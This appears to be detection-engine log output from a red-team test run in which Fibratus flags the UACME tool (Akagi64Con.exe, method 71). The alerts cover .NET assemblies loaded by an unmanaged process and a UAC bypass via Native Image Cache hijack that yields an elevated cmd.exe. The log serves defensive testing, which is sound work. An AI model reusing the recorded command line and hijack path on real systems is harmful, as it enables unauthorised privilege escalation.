tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:54+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7328182 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.8950529 +0100 CET + Params: base_address➜ 7ff9ad4d0000, checksum➜ 0, default_address➜ 7ff9ad4d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, technique.id: T1055, technique.name: Process Injection + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7333511 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.6928909 +0100 CET + Params: base_address➜ 7ff9e0370000, checksum➜ 0, default_address➜ 7ff9e0370000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7333511 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.6928909 +0100 CET + Params: base_address➜ 7ff9e0370000, checksum➜ 0, default_address➜ 7ff9e0370000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 1764865146307428092, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7333945 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.7267441 +0100 CET + Params: base_address➜ 7ff9ae6b0000, checksum➜ 0, default_address➜ 7ff9ae6b0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 1764865146307428092 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7333945 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.7267441 +0100 CET + Params: base_address➜ 7ff9ae6b0000, checksum➜ 0, default_address➜ 7ff9ae6b0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 1764865146307428092, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7334960 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8105509 +0100 CET + Params: base_address➜ 7ff9e03c0000, checksum➜ 0, default_address➜ 7ff9e03c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 1764865146307428092 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7334960 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8105509 +0100 CET + Params: base_address➜ 7ff9e03c0000, checksum➜ 0, default_address➜ 7ff9e03c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, rule.seq.link: 1764865146307428092, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7334986 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8128042 +0100 CET + Params: base_address➜ 7ff9e0440000, checksum➜ 0, default_address➜ 7ff9e0440000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7334986 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8128042 +0100 CET + Params: base_address➜ 7ff9e0440000, checksum➜ 0, default_address➜ 7ff9e0440000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7334999 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8139765 +0100 CET + Params: base_address➜ 7ff9e4870000, checksum➜ 0, default_address➜ 7ff9e4870000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7334999 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8139765 +0100 CET + Params: base_address➜ 7ff9e4870000, checksum➜ 0, default_address➜ 7ff9e4870000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 1764865146307428092, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, technique.id: T1055 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7335026 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8166832 +0100 CET + Params: base_address➜ 7ff9e02e0000, checksum➜ 0, default_address➜ 7ff9e02e0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:55+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7335026 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:13.8166832 +0100 CET + Params: base_address➜ 7ff9e02e0000, checksum➜ 0, default_address➜ 7ff9e02e0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 1764865146307428092, technique.name: Process Injection, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:17:00+01:00 level=info msg=sending alert: [UAC bypass via assembly Native Image Cache hijack]. Text: Event(s): + Seq: 7350722 + Pid: 7800 + Tid: 3752 + Type: CreateFile + CPU: 2 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:15.5817612 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffad0dcfe30c80, file_path➜ C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\MMCEx\5a98fb15d3a1c6bc50cd32c76ed223e7\MMCEx.ni.dll, irp➜ ffffad0de092e808, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, share_mask➜ , status➜ Success, tid➜ 3752, type➜ File + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via assembly Native Image Cache hijack + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + + Seq: 7361307 + Pid: 6672 + Tid: 16852 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:16.4348002 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 21b27d000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de4f20080, name➜ cmd.exe, pid➜ 3080, ppid➜ 6672, real_ppid➜ 6672, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:16:16.4347456 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via assembly Native Image Cache hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 